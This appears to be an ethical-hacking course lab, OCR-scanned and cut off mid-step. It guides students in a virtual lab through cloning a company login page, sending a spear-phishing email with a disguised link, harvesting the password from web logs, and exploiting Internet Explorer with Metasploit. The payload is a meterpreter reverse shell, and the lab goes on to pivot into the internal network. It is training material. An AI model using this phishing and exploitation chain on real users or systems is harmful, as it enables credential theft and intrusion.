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Lab 11: Using Metasploit to Attack a Remote System

Introduction

This lab is part of a series of lab exercises intended to support courseware for Ethical
Hacker training. The development of this document is funded by the Department of
Labor (DOL) Trade Adjustment Assistance Community College and Career Training
(TAACCCT) Grant No. TC-22525-11-60-A-48.

This lab includes the following tasks:

e 1-Copying a Web Site and Stealing Credentials with a Sniffer
e 2 -Sending the Spear Phish Email to the Victim
e 3 -Exploiting the Victim Machine

Domains: Scanning Networks, Enumeration, Sniffers, Evading IDS,
Firewalls, and Honeypots

Almost all hackers and people who do any type of penetration testing are familiar with
Metasploit on some level. Metasploit gives the user the capability to attack machines
on the same internal network or machines on the Internet. Metasploit can also sit and
wait, for users on internal networks to click links to their browser exploits or launch
malicious code, which can include Office or PDF attachments. If Metasploit receives a
connection from a user on the internal network, they can pivot and attack other internal
machines.

Browser Exploit — There are many different browsers on the market such as Internet
Explorer, Firefox, Safari, Opera, and Chrome. From time to time, vulnerabilities, or
weaknesses, are discovered that will exploit certain version of the browser. In some
cases, if your browser is too old, the exploit might not work against your system. For
example, an Internet Explorer 7 exploit will likely not work against your system if you
are using IE6. If you have IES, IE9, or IELOQ, it is also unlikely that your system will be
vulnerable. This is why it is critical for security professionals to upgrade their browsers.

Metasploit — Metasploit is an exploitation framework. Version 3 of Metasploit is
written in Ruby and has exploits for Microsoft Windows, Mac OS X, Linux, and UNIX.
Some exploits are for the operating systems themselves and others are for the
applications like Adobe Reader and Internet Explorer. There is a detailed description of
each exploit that explains which version of the operating system or application software
is vulnerable.

access_log — This log file tracks HTTP, or Hyper Text Transfer Protocol, connections. It
provides information such as IP Addresses, User Agents, and Date and Time Stamps.
Sniffer — A Sniffer is used to capture network traffic on a Network. Software programs
like tcpdump, Wireshark, and Network Miner can be used to sniff traffic.

Spear Phish — A spam message is an email message that is sent out to a large number of
people. A phishing email message will similarly target a large number of users, but will
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Lab 11: Using Metasploit to Attack a Remote System

try to get the end users to click links to reveal personal information. A Spear Phish
targets a specific individual or organization. It is often a well-written, professional in
appearance email that includes a signature block and provides information relevant to
the targeted individual.
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Pod Topology
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Figure 1: Lab Topology
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Lab Settings

The information in the table below will be needed in order to complete the lab. The
task sections below provide details on the use of this information.

Required Virtual Machines and Applications

This lab requires the use of the External BackTrack 5, Windows XP Pro, Windows 2003

SQL and Windows 7 machines.

Although you will not be logging on to the Firewall, the machine is being utilized during

the lab.

Windows XP Pro

192.168.1.175

Windows XP Pro Administrator password

Ethicalhackin&

Windows 2003 SQL

192.168.1.100

Windows 2003 SQL Administrator password

P@sswOrd

External BackTrack 5

216.6.1.100 (Public IP)

External BackTrack 5 root password

toor

Windows 7

216.5.1.200 (Public IP)

Windows 7 student password

password

7/18/2013 Copyright © 2013 NISGTC
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Lab 11: Using Metasploit to Attack a Remote System

1 Copying a Web Site and Stealing Credentials with a Sniffer

One of the things that an attacker from the Internet often does is copy a website and
then use that website for a Phishing attack. The process can involve going to a registrar
like www.godaddy.com (perhaps you have seen their commercials) and registering a
name close to the name of the organization being targeted. For example, if the domain
name bankofamerica.com is taken, the attacker might register bankofamerica.tv or
perhaps name another domain name that has a .com in it like bofamerica.com

Country/Region Specific Domains That May Interast You Why should | register these? .
= VHed P yimerestfoa A 4", Order Summary
Domain Bice 10 domains pending registration
| | BANKOFAMERICANET.AU $14.99/yr Add 6 more domains and
— GET BULK PRICING**
| | BANKOFAMERICA.ORG.AU $9.99/yr
| | BANKOFAMERICA.AG §109.99/yr
| | BANKOFAMERICANET.AG $74.991yr
Show all options

Figure 2: Domain Name Registration

Keep in mind that Linux commands are case sensitive. The commands below must be
entered exactly as shown.

1.1 Using Wget to Copy a Website

Before attacking anything, we will take the time to copy the website of the victim's
organization. To do this, we will use the wget utility, which is included with most
versions of UNIX and Linux, including versions that run on some portable devices like
phones and tablets. There is a version available for Windows. Wget is similar to a
browser, but it is a command line tool that just downloads pages and files without
presenting the pages to the end user. This has some benefits, including the fact that the
pages can be viewed offline and your system will not be exploited when you download
the pages without viewing them. Unless, of course, you open the pages and view them
with a browser.

1. Openthe External BackTrack 5 machine. Open a terminal on the Linux system
by clicking on the picture to the right of the word System in the task bar in the
top of the screen.

Applications Places System [>_

4

A v X root@bt: ~
File Edit View Terminal Help

Figure 3: The Terminal Windows within BackTrack
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Wget has capabilities that go far beyond the ability to download files and web pages.

2. To list some of the large number of switches for the wget command, type:
root@bt:~# wget —help

:~# wget --help
GNU wWget 1.12, a -interactive network retriever:
Usage: wget [OPTION]... [URL]...

Mandatory arguments to long options are mandatory

Startup:
-V, --version display the
--help print this -
--background go to bac fter startup.
- -execute=COMMAND execute a .w I yle command.

and input file:
-output-file=FILE log mes
ppend-output=FILE

print lotsgbf debugging information.

quiet (no outpuf).
be verbose (this is"the default).
turn off verbosenessy without '‘being quiet.
download URLs found in local or external FILCE.
-force-html treat input file as HTML.
-base=URL resolves HTML input-file links (-i -F)
relative to URL.

Download:
-t, -tries=NUMBER set number of retries to NUMBER (0 unlimits).
-retry-connrefused retry even if connection is refused.
-0, tput-document=FILE write documents to FILE.
f dowi that would download to

a partially-downloaded file.
auge type.

Figure 4: Options for WGET

3. To download a web page from the XYZcompany’s website using wget, type:
root@bt:~# wget http://server.xyzcompany.com
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4. To view the web page, click on Places from the menu bar and select Home
Folder. Double-click on the index.html file to open it with Firefox.

ications 'Places

Personal e
i.§ I'OOt =titl
Bl Deskto "
. Trash

index.html

Mozilla Firefox

[} Company XYZ Login

S | @ file:yrootjindex.htmi v & [*8v coq| £y

Bl BackTrack Linux [ Offensive Security EBExploit-DB Wy Aircrack-ng B SomaFmM

Figure 5: Webpage Downloaded with WGET

5. Log on to the Windows 2003 SQL machine. Use the PC menu in the NETLAB+
Remote PC Viewer to send a Ctrl-Alt-Del (version 2 viewer), or click the Send
Ctrl-Alt-Del link in the bottom right corner of the viewer window (version 1
viewer). Log on with the username of Administrator and the password of
P@sswOrd.

I
a

7 Windows Server2003
¥. Standard Edition

Copyright © 1885.2003 Micrc
&= Press Ctrl-Alt-Delete to begin,

Requiring this key combination at startup helps keep vour
computer secure, For more information, click Help,

N  Windows Internal Server | Windows Server 2003 | MSEC POD ; el Connected

Figure 6: Send Ctrl-Alt-Del to the Windows 2003 Server
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6. Open Mozilla Firefox by clicking on the shortcut located on the desktop.

Figure 7: Open Mozilla Firefox

7. Go to the URL http://127.0.0.1 to view the webpage on this Windows server.

EY) Company X¥Z Login - Maozilla Firefox
File Edikt WiEn History EBookmarks Tools Help

| || Company ¥¥ZE Login I —+ |

[ 7 hitpisizF.o0.001)

B

Company Logim

Figure 8: Testing the Local Webpage

If the XYZCompany webpage is on the internal machine with an IP address of
192.168.1.100, then why is the user from the Internet seeing that webpage when she
goes to the IP address of 216.1.1.1? The firewall is redirecting the web page requests.
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Windows

Windows BackTrack

Windows
2003 50L 2008 Server

XP Pro

192.168.1.0/24

1 ———
Ciical  Sos e [
] erver
216.1.1.1 -1

EXTERMAL NET R
C F A—

216.0.0.0/8

.

216.6.1.100 216.5.1.200

BackTrack

5

Figure 9: Network Diagram

When wget was utilized, the graphics were not copied, so the copy was lacking.

8. To copy the webpage, graphics, and sub-directories, return to the BackTrack 5
External machine and type the following:

root@bt:~# wget -m -p http://server.xyzcompany.com

200 OK

ex.html

Figure 10: Using wget with switches
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9. To view the web page, click on Places from the menu bar and select the Home
Folder. Double-click on the server.xyzcompany.com folder. Then, double-click
on the index.html file to open it with Firefox. This time the images will appear.

Places System

Home Folder
Desktop

rarks Help
Computer

2 root Server.xyzcompany.com

Floppy Drive

Network i

Connect to Server... i ages

Search for Files... ! Login - Mozilla Firefox

Recent Documents - Ookmarks Tools Help
i Company XYZ Login E

s | file:///root/server.xyzcompany.comy/index.html

B BackTrack Linux [JilOffensive Security KB Exploit-DB W Aircrack-ng

Figure 11: Webpage Downloaded with Graphics

10. Switch to the /var/www directory by typing the following command:
root@bt:~# cd /var/www

Figure 12: Switch to the Webroot Directory

When wget was utilized, the graphics were not copied, so the copy was lacking.

11. To copy the webpage, graphics, and sub-directories, type the following:
root@bt:/var/www# wget -m -p 216.1.1.1

12. Type the following command to delete the index.htm page:
root@bt:/var/www# rm -rf index.html

Is can be typed before and after the command for quality assurance.

/vary/ k’-ﬁ.'“'l# 1 S
aEXt.dl1™ PwDumpiexe “pwServicelexe “server.xyzcompany . com’ wstool
:/var/www# rm -rf html

var/www# 1s

PwDump.exe pwservice.exe server.xyzcompany.com wstool

Figure 13: Removing the Default Web Page
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13. Change to the server.xyzcompany.com directory by typing the following:
root@bt:/var/wwwi cd server.xyzcompany.com

:fvarfaww# fd SErv pany.co
s/var/wa er.xyzcompany . coms#

Figure 14: Changing directories

14. Copy all of the files and subfolders to the /var/www directory by typing:
root@bt:/var/www/server.xyzcompany.com # cp -r * /var/www

Is /var/www and Is /var/www/images can be typed for quality assurance.

/serer. xyzcompany . oms cp\ -r */var/w
W/server, xyzcompany . Com#! 1S /var/mm
ntml  LsaExt.dll PwDump.exe pwservice.exe server.xyzcompany.com wstool
 /var /www/server.xyzcompany. com# 1S /var/www/images/

Figure 15: Copying Files and Folders to the Webroot

15. To start the webserver on the BackTrack Linux machine, type the following:
root@bt:/var/www/server.xyzcompany.com # apache2ctl start

"-"'EIZ:ZII"IF'JI::II"l' com# apache2ctl start

company . com# [J

Figure 16: Starting the Web Server
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Lab 11: Using Metasploit to Attack a Remote System

16. Open Firefox by going to Applications from the menu bar, selecting Internet, and
then selecting Firefox. Go to the URL http://127.0.0.1 to see your homepage.

Applications Places System [~ |
Accessories >
BackTrack -
Graphics »
Intemet " - EtherApe
Office - EtherApe (as root)
Other ') Firefox Web Browser
J Sound & Video » (1) Wicd Network Manager
System Tools » 4 Zenmap

Wine » 4@ Zenmap (as root)

AIURILILIERND D T

{ I Company XYZ Login B

1

<

Figure 17: The Copied Website

1.2 Conclusion

An attacker will often copy the website of the victim and use it later when they perform
Spear Phishing attacks. If a person visits the same site every day, they are less likely to
examine the URL carefully. Wget is one tool that can be used to copy a website.

1.3 Discussion Questions

What is wget?

How do you download a web page with wget?

How do you download a webpage and the corresponding graphics with wget?
What might be a valid reason to use wget instead of a browser?

bl A S
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2 Sending the Spear Phish Email to the Victim

The copied website exists on the attacker’s machine. The attacker will now use Spear
Phishing to get an internal user to go to the site and enter their credentials.

In this exercise, you will use a Spear Phish attack and convince the victim to log on to
the copied website on the attacker’s box, instead of their own internal website. You will
also exploit the browser of the victim when they connect to your attacker machine.

2.1 Configure and Send Spear Phish Email

1. On Windows 7, open Outlook by clicking the desktop shortcut.

Figure 18: Opening Outlook

2. Click Next at the startup screen. Click Next to configure an email account.
‘fou can configure Outlook bo connect ko a Microsaft Exchange Server, Internet

E-mail, or other E-mail server. Would wou like to configure an E-mail account?

* Yes
= Mo

Figure 19: Yes to Configure Email
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3. Select POP3 (Post Office Protocol) as the server type. Click the Next button.

7/18/2013

Server Type

You can choose the type of server your new e-mail acount will work with,

{” Microsoft Ekchange Server

Connect to an Exchange server ko read e-mail, access public Folders, and share

documents,
¢ ' POP3
Connect bo a POP3 e-mail server ko download wour e-mail,

—

Figure 20: POP 3 Server

Fill out the following fields:

e For your name, put Sam

e For your Email Address, put sperkins@XYZCOMPANY.com
e For your User Name, put sperkins

e For your Password, type password

e For the Incoming and Outgoing Server, put 216.1.1.1 (Firewall IP)

Click Next and Finish. You will receive a welcome to Outlook message.

E-mail Accounts

Internet E-mail Settings (POP3)

Each of these settings are required to get wour e-mail account working.,

User Information

Your Mame: ISE"T'

E-mail Address:  Erkins@eyZCOMPANY com

Logon Information

User Mame: Isperkjns

Password: I********

v Remember password

I Log on using Secure Passwaord
Authentication (SPA)

Server Information

Incorning mail server (POP3): |215. 1.1.1

Cutgoing mail server (SMTR]: |215. 1.1.1]

Test Settings

After filling out the information on this screen, we
recommend wou test wour account by clicking the
button below. (Requires network connection)

Test Accounk Sekkings ...

Maore Setkings ...

< Back I Mext = I Cancel

Figure 21: Mail Settings

Copyright © 2013 NISGTC
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5. Click the New button in the top Left corner of Outlook.
Follow the steps below to successfully send the email to rmiller.

e Leave the To box blank
e Leave the Subject blank
e Inthe message area, type:

Reggie,

| am having some issues with the SQL server
Can you log in to the web server http://server. XYZCOMPANY.COM

and test it. Respond to my email and let me know if it worked.

-Sam

File Edit Wiew Insert Format

Tools

Actions

send | (& | % S @ | 2] Options. . E Arial

ﬁ Untitled - Message (HTML)

- | 10

| |
| |
|

Subject:

Reggie,

| arn having some issues with the S0L server
Can you log in to the web server http fserver XY JCOMPANY . COM

-Sam

Figure 22: Spear Phish Email

and test it. Hespond to my email and let me know if it worked.

6. Save the email by selecting File from the menu bar and selecting Save As.
Eile Edit Wisw Inserk Formak Tools Ackions Help
d=dzend | =l | 00 Do 5% | 2] Options. .. E Arial ~ | 10 -9 I U= = =
saveas 2=
Save in: I | My Documnents LI - La 'ﬁ, }'( [l £_=5| ~ Tools -
: larne | -| pate modified | -] Type | -| size |-
—_— I @ My Music
R | Docoments (= My Pictures
| @ My Videos
C
c| HE
Deskiop
£
1y Documenks
LN
My Computer
(L m.:,unrk File pame: ISQL Ll |LI
Figure 23: Saving the Email as a HTML file
7/18/2013
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7. Close the email message and select No to save the changes message box.

llMicrosoft Office Dutlook x|

l"} Do ol wank to save changes?

Yes Mo | Cancel |

Figure 24: No to Save Changes

We will now edit the saved file, changing server.XYZCOMPANY.COM to IP address
216.6.1.200. To do this, click on Start and select Documents from the menu. Right-click
on SQL.htm, choose Open with, and select Notepad from the menu list.

Figure 25: Editing the Hypertext

7/18/2013

Copyright © 2013 NISGTC

j;o <| » Libraries + Documents ~ E;m v ‘Q_]JI Search Documents
Organize v {@0pen v Sharewith  Openin Same Windon b Folder
Prink
W Favorites Docur -2 d
B Desitop ks 2 (pen with b ﬂna‘aﬂ Host Application Arrang
§ Downloads — Share with | | b %::;0; ok L
| Recent Places Restore previous versions
@) My Mus  cand b Folder
o3 Ubrares g My Choose defauk proga... | e
~mm @) My Pich Copy 10/17/2011 6:33PM  File Folder
:: E:ILS B My Pich Create shortcut 7/14/2009 12:53 AM  File folder
E Videos @) MyVide  Delete 10/17/2011 6:33PM  File folder
g Myvide Rename 711412009 12:53 8M  File Folder
& Computer desktor  Open File location 10/17/2011 6:33PM  Configuration settings
& Local Dk () BeskOL  propertes 7/14{2009 12:41 AW Configuration settngs
N 2 5QLhtm 1/8/2013 9:06 PM HTML Document
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8. Change server.xyzcompany.com to the IP address of 216.6.1.100 (after href).

8] s0L.htm - Notepad

File | Edit  Format  Wwiew Help

<! DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional/ /EN">

<HTML=><HEAD>

<META content="text/html; charset=us-ascii" http-equiv=Content-Type:>

<META name=GE tent="MSHTML 8.00.7600,16385" >« HEAD>

<BODY > :f

<DIV><FONT size=2 Face= =Arial >Eegg'|e {BR}I am having some issues with the sqL
1= 1 Inl = 11 I L +

href="http://Sserver. <¥ZCOoMPANY . CoM" >h1:1: .,f,"ser‘ver‘.XYZCOMPANY.COM{,’AHBM&nbsp,antl

i LS

wiorked., <BR>-Sam-</FONT > </ DIV </ BODY > </ HTML>

Bl 50L.htm - Notepad o m] [
File Edit Format  Wiew Help

<! DOCT¥PE HTML PUBLIC "-/W3C//DTD HTML 4.0 Transitional/ /EnN"= -
<HTML><HEAD:>

<META cContent html; charset=us-ascii" http-eguiv=Content-Type:>

<META hames= GENﬁ Erften‘t:"MSHTML 8.00.7600,16385" " ></HEAD>

<BODY >
<DIV><FONT size=2 face= Ar1a1>Regg1e <BR>I am hawving some issues with the saL

FIWTL =1 = I Y 2]

href="http://216.6.1.100"=http: ,-‘,"ser‘ver‘ Y ZCOMPANY . COM< /Ax<BR>&NbSp; andl

L T . r\! '».JI_IIIL:I L. IIIJI !IICI.I T Al T I\III_IH L L —
] 27

Figure 26: Save Changes to the Hypertext

9. Click New from the Outlook Menu bar. Click Insert file. Single-click on SQL.htm
and click the arrow dropdown box and change to Insert as Text.

EX untitled - Message (HTML) i [m]

File Edit ‘“iew Insert Format Tools  Actions  Help

d=send | [ TR W - [ I T TS T N = == = =
e — 2| x
To... Loak in: I | My Dacuments j @~ @ X Ty &3 - Tods~
e, R ELE] |v| Dake modified | v| Type |v| Size |v|
Subject: l ) [ My Music
My Recent ;
Documents =My P?ctures
[ My Yideos
deskkop.ini
! E=0Lhtm
Desktop

s

My Documents

L

My Compuker
(7
- File pame: - Insert |~
Iy Metwork, I J — rl
FPlaces Files of type: IA" Filas (*,%) j Insert
: Ensert as Text 2

Figure 27: Loading the Altered File

The email message will reappear as originally typed, but the hyperlink advertised to
http://server.XYZCOMPANY.COM will now go to 216.6.1.100.
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10. Now we need to add a sender address and a subject. Type the following:

e Inthe To box, type rmiller@XYZCOMPANY.COM
e For the Subject, type SQL Test

e® Untitled - Message (HTML)

: File Edit Wiew Insert  Formak  Tools  Actions Help

i:i=dsend | [l | 3 B3 G | 2] options... E : [Arial -1 [
Ta... | [rmiller@iyZCOMPANY . COM
... | I

Subject: |5aL Test|

Reggie,
[ am having some issues with the SCL server

Zan you log in to the web server hitp:fsemwer. 2 ICOMPARY . CORM

and test it. Hespond to my email and let me know if it worked.
-Sam

Figure 28: Adding To and Subject Fields

11. Click Send on the Windows 7 machine to send the Spear Phish email.

E% Untitled - Message (HTML

" File Edit View Insert Format Tools Actions Help

To... |rmiler@xYZCOMPANY.COM
=G |

Subject: |sQL Test|

Reggie,

| am having some 1ssues with the SQL server
Can you log in to the web server http ffserver XY COMPANY . COM

and test it. Respond to my email and let me know if it worked.
-3am

Figure 29: Sending the Official Looking Email
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Lab 11: Using Metasploit to Attack a Remote System

12. Log on to Windows XP Pro as Administrator with the password of

13. Click on the start button and then select Email from the Start Menu.

7/18/2013

Ethicalhackin&.

|

Administrator
= ; :

¥

d

Figure 30: Logging in as Administrator

:_ (,' Administrator

' Internet
Internet Explorer

3 E-mail
Outlonk Express

i Windows Messenger

l@ Tour Windows xP

I Wizard

n Command Prompk

All Programs D

'y start e

Files and Settings Transfer

__;) My Documents
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Figure 31: Opening Outlook Express
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14. Click the Send/Receive button to ensure that the email is received.

¥4 Inbox - Outlook Express

File Edit Wiew Tools Message Help

¥ . &% & v L X | =

Create Mail Reply Reply &l Forward Prink Send/Recy

Figure 32: Send/Receive Button on Outlook Express

15. The email should appear in rmiller’s inbox. Before clicking on the hyperlink as
the victim likely would, hover over the email address and view the actual
destination address of the link in the far left corner. Now, click the hyperlink.

¥ [nbox - Outlook Express

Fie Edit Wiew Tools Message Help

H . & & s 2 X | = . W

: Create Mail Reply Rephy all Forward Prink Delete SendfRecy Addresses
Folders X[+ @ ¥ From Subject
A Outlook Express £59 Microsoft Outlook Expre...  Welcome to Outlook Express &
=) Local Folders £ 5am S0L Test

B2 Inbox

% Outbox

93 sent Items 5 To: rmiller

13 Deleted Itemns : SQL Tesk

5Bk Drafts

Regnie,
| am having some issues with the SQL server
Can you log in to the weh server hitpfserver XY FCOMBPARNY . COM

and test it. Respond ta my email and let me knaow if it warked,
-Sam

Conktacks ™ =

There are no contacks ko displaw, Click
on Contacks to create a new conktack,

tEp:if=16.6.1.100

Figure 33: Spear Phish Email in the Inbox
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16. Have Reggie log in with his username of rmiller and password of PACERS123.

You will receive a Page cannot be displayed error. There is no SQL backend.

f Company XYZ Login - Windows Internet Explorer
& | http:ff216.6.1.100:50¢

File Edit Wiew Faworites Tools  Help

»
[ & Company Z¥Z Login " - sif Page « i Tools -

XYZ Company Login
Usernansc [N

Password (XXTETRTENN

Figure 34: Fake Website

17. To view the username and password on the Attack machine, type the following:
root@bt:~# cat /var/log/apache2/access.log | grep rmiller

~# cat /var/log/apache2/access. log | grep rmiller

216.1.1.1 - - [68/Jan/2013:21:58:56 -0500] "GET /adnin/login.asplusername= §password=PACERS123
HTTP/1.1" 404 566 "http://216.6.1.100/" "Mozilla/4.0 (compatible; MSIE 7.6; Windows NT 5.1)"

Figure 35: Viewing the Web Access Logs

We now have the username and password of the victim. If you test that username and
password on the attacker machine, you will get a Page cannot be displayed error. It is
important to know what the response will be because that information can be used if
there is further communication with the victim during subsequent Spear Phish attacks.

We also have some very important information from the user agent string including the
version of the browser, MSIE 7.0, and the version of the OS, Windows NT 5.1 (XP) that
the victim is using. Metasploit has exploits for various browsers on the market such as
Internet Explorer, and we can now retarget our victim with the new information.
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18. Before starting Metasploit we will need to stop the apache server using port 80:
root@bt:~# apache2ctl stop

Figure 36: Stopping apache

19. Type the following command to start Metasploit:
root@bt:~#msfconsole

:~# msfconsole

Figure 37: Metasploit

When Metasploit is first launched, it displays the number of exploits and the version.

20. Type the following command to list Internet Explorer exploits within Metasploit:
msf > search name:"Internet Explorer" type:exploit

Figure 38: Searching for Internet Explorer Exploits
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21. We will get information about a specific browser exploit by typing the following:
msf > info windows/browser/ms09_002_memory_corruption

Figure 39: Getting Information about the Browser Exploit

22. To select the specific browser exploit within Metasploit, type the following:
msf > use windows/browser/ms09_002_memory_corruption

> use windows/browser/ms@9 882 memory corruption

nst  exploit( }

Figure 40: Using the Exploit

This exploit will work against systems running either XP or Vista SPO with IE7. One
interesting thing to note here is that if your browser is too old, the exploit might not

work. This exploit will likely not work against an XP system using the older Internet
Explorer 6.

23. To set the SRVHOST, type the following command within the exploit subprompt:
msf exploit(ms09_002_memory_corruption) > set SRVHOST 216.6.1.100

exploit( } > set SRVHOST 216.6.1.100

SRVHOST => 216.6.1.100

Figure 41: Setting the SRVHOST
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24. To set the SRVPORT, type the following command within the exploit subprompt:
msf exploit(ms09_002_memory_corruption) > set SRVPORT 80

msf exploitl ) = set SRVPORT 8@

SRVPORT => 86

Figure 42: Setting the SRVPORT

Using 8080 is not going to be as effective as using 80 for the web server port. In some
cases, only 80 and 443 are allowed outbound for organizations. And, if a port besides 80
is used, that port must be specified within the URL, or Uniform Resource Locater. For
example, if 8080 were used for Amazon’s web site, the end user would need to type
http:://www.amazon.com:8080 to make a connection to the site from a browser.

25. To set the payload that will be used against the connecting victim, type:
msf exploit(ms09_002_memory_corruption) > set payload windows/meterpreter/reverse_tcp

nsf exploit ) > set payload windows/meterpreter/reverse tcp

Ipayload => windows/neterpreter/reverse tcp

Figure 43: Setting the Payload

26. To set the lhost (local host) for the exploit, type the following command:
msf exploit(ms09_002_memory_corruption) > set lhost 216.6.1.100

msf exploit( ) = set lhost 216.6.1.180

lhost == 216.6.1.188

Figure 44: Setting the Local Host (LHOST)

The final option that will be set is the URIPATH. If this value is not set, it will seem a lot
more obvious that the link is bogus, because the URIPATH will be randomly generated.

27. To set the URIPATH for the web server with the malicious PAYLOAD, type
msf exploit(ms09_002_memory_corruption) > set URIPATH /

msf exploit( > sereurrpatinsy

uripath == /

Figure 45: Setting the URIPATH
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28. Type the following command to start the listener for remote connections:
msf exploit(ms09_002_memory_corruption) > exploit

xploit( ) > exploit
Exploit running _as backgrbund jobt

Started reversé“handleron 216.6.1.100:4444
ing URL: http://216.6.1.100:80/
erver started.

exploit(

Figure 46: Running the Exploit Command

Some important things to note when you are using this or similar browser exploits:

e The exploit command will only accept one remote connection
e The exploit =z —j command will only accept multiple remote connections
e No exploit will happen until a machine connects to this machine or port 80

2.2 Conclusion

After a website is copied and placed on an attacker’s webserver, if legitimate users visit
that website, the site will be able to capture their credentials. Spear phishing is a
common technique used to get users to visit copied web sites. Once the victim connects
to the fake web site, they often enter their credentials or account information.

2.3 Discussion Questions
1. Where are the weblogs stored on the BackTrack machine running Linux?
2. How do you search for Internet Explorer exploits within Metasploit?
3. What can a user do in Outlook or Outlook Express to validate a hyperlink?
4. What can be done instead of clicking a hyperlink if you want to visit a website?
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3 Exploiting the Victim Machine

In this exercise, you will send the malicious link, and then convince the victim to click on
the link through a process known as social engineering. Once the user click on the link
and connects to the machine running BackTrack, a malicious payload will be launched.
After the payload is launched, the attacker will be connected to the victim. Then, we
will pivot and attack another machine on XYZcompany’s internal network using

Metasploit.

3.1 Sending a Malicious Link

1. On Windows 7, Click on the Sent Items folder. Find the email that you
previously sent to Reggie. Highlight the entire message, right-click and select

Copy.

+ Ly Search Folders

Figure 47: Sent Items

To: ‘rmiller@XYZCOMPANY.COM'
Cc:
Subject: SQL Test

Reggie,
| am having some issues with the SQL server
Can you log in to the web server hitp.//server XYZCOMPANY.COM
email and let me know if it worked.

2. Click New in the Outlook Menu. In the To box, type rmiller@XYZCOMPANY.COM
For the Subject, type SQL retest. Paste the message into the message area.
Change the body to the following without erasing the (loaded) hyperlink.

Reggie,

Can you retest the server http://server. XYZCOMPANY.COM
| got that page cannot be displayed error fixed

-Sam

f SOL Retest - Message (HTML)

File Edit ‘Wiew Insert

Format  Tools  Actions Help

=d5end | | o a3 | E] Options... E Arial -

Ta... | Irmiller@XYZCOMF‘ANY.COM:

Cc:.. | |

Subject:  [SQL Retest

Reggie,

Can you retest the server http:/fserver XY ZCOMBPANY. COR
| got that page can not be displayed error fixed

-Sar|

Figure 48: Adding To and Subject Fields
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3. Send the Spear Phish email to the victim rmiller@XYZCOMPANY.COM .

E® SQL Retest - Message (HTML)

File Edit Wiew Inserk Formak Tools  Actions Help

EH b [EEy | 2] options. .. E arial

Ta... I IrmiIIEr@X\’ZCOMPF\N"F.COM:
ol up I I

Subject: |5GL Retest

FHeggie,
Can you retest the server http /f'sener =Y TCOMPARNY . T O

| got that page can not be displayed error fixed
-Sam

Figure 49: Sending the Email

4. Back on the Windows XP Pro machine, Click the Send/Receive button to ensure
that the email is received.

& Inbox - Outlook Express

File Edit  Wiew  Tools Message Help

¥ . 8¢ < 8 A= >

=3

Create Mail Reply Reply all Forveard Print Send/Recy

Figure 50: Send/Receive Button on Outlook Express

5. The email should appear in rmiller’s inbox. Before clicking on the Hyperlink as
the victim likely would, hover over the email address and view the actual
destination address of the link in the far left corner. Now, click the hyperlink.

& SOl Retest |_'— | |_'|:| ”5_('
File Edit Wiew Tools Message Help ;1.'
._-._ >
8 & -8 & X Qo
Reply Reply all Forveard Prink Delete Previous
From: Sam
Dakte: Tuesday, January 03, 2013 11:13 PM
To: rrniller@xy 2COMPARNY 0N

Subject: SO Retest

Heggie,
Can you retest the server hittp.Fserver. XY OMPARY. COM

| got that page can not be displayed errar fixed
-=am

Figure 51: Spear Phish Email in the Inbox

Go back to the External BackTrack 5 attack machine. You should see the message
successfully migrated to process. BackTrack switches from the Internet Explorer process

7/18/2013 Copyright © 2013 NISGTC Page 29 of 37


mailto:rmiller@XYZCOMPANY.COM

Lab 11: Using Metasploit to Attack a Remote System

to notepad in case the user closes their browsing session. The migration keeps the
attacker connected, regardless of whether the victim closes Internet Explorer or not.

msf exploit( ) > [¥] 216.1.1.1 ms@9 002 memory corruption - Sendir
y Corruption

] 216.1.1.1 ms09 002 memory corruption - Sending Internet Explorer 7 CFunctionPointer Uni
] Sending stage (752128 bytes) tof216.1.1.1

] Meterpreter session 1 opened (216.6,1.100:4444 -> 216.1.1.1:1124) at 2013-01-68 23:15:06 -850
] Session ID 1 (21646.1.100:4444 =>"216a1.1.1°1124) processing InitialAutoRunScript” 'migrate A
] Current servegprocesst IEXPLOREJEXE (620)
] Spawning notepadexe pragess to migrate to

¥
%

+] Migrating to 1500

[
[
[
[
[
[
[+]

[+] Successfully migrated to process

Figure 52: Migrating from lexplore.exe to notepad.exe

6. To view a list of the active sessions, hit enter then type the following command:
msf exploit(ms09_002_memory_corruption) > sessions —|

) > sessions -1

Information Connection

1 meterpreter x86/win32 WINXP\Administrator @ WINXP 216.6.1.100:4444 -> 216.1.1.1:1045 (192.168.1.175)

Figure 53: The Active Meterpreter Session

7. Tointeract with victim’s machine within the Meterpreter session, type:
msf exploit(ms09_002_memory_corruption) > sessions -i 1

msf exploit(
[*¥] Starting interaction with 1...

meterpreter >

Figure 54: Interacting with Meterpreter

8. To get a command prompt on the victim machine, type the following:
meterpreter > shell

meterpreter > shell

Process 1632 created.

Channel 1 created.

Microsoft Windows XP [Version 5.1.2
(C) Copyright 1985-2001 Microsoft C

. 600]
orp

C:\Documents and Settings\Administrator\Desktop:>

Figure 55: Obtaining a Command Prompt
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9. To determine the internal IP address of the victim machine, type:
meterpreter > ipconfig /all

C:\Documents and Settings\Administrator\Desktop>ipconfig /all
ipconfig /all

Windows IP Configuration

Host Name . . . . . . . . . . . . : WINXP
Primary Dns Suffix .. . . . = & o o

Node " TYPE . o o o = w & s o s o ONKOOWD
IP Rout Enabled. . . . . . . . : No

WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter Local Area Connection:

Connection-specifdc DNS Suffix . :

Description . . &'. . . . . . . . : VMware Accelerated AMDIPCNet Adapter
Physical Addressing™ i . 00, .8700-0C€-29-E0-09-3F

Phcp Eg@bled. . 3. . B ..ol M: NoO

BR Addifels. . . BB .49 SNM. . Wk 192}

Subnet Mask . . WIS, GSTE . N285]

Default Gateway . . . . . . . . . : 192.

DNS SErvVers: .. : . & 5 5 5 s o= s s oo 192,

C:\Documents and Settings\Administrator\Desktop>}}

Figure 56: Determining the IP address of the Internal Machine

10. Type the following to leave the command prompt and return to Meterpreter:
C:\Documents and Settings\Administrator\Desktop\exit

Figure 57: Leaving the Command Prompt

Based on the results of the ipconfig /all command, the attacker now knows some
information about the layout of the internal network. She now knows that the XYZ
Company uses the Private internal IP address range of 192.168.1.0/24. Before now, the
only IP address the hacker knew about was the Public IP address of 216.6.1.100.
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Windows Windows BackTrack
2003 SQL 2008 Server

People on the Internet know nothing of these IP Addresses

Windows |
2003 Server N
216011 | et '

People on the Internet are only aware of this IP Address

EXTERNAL NETWORK

.1
—

Ethical S
Hacking

216.0.0.0/8

216.6.1.100 216.5.1.200

BackTrack

5

Figure 58: People on the Internet are Unaware of your Internal Network Layout

11. Add a route to the victim machine by typing the following command:
meterpreter > run autoroute -s 192.168.1.0

82206 11

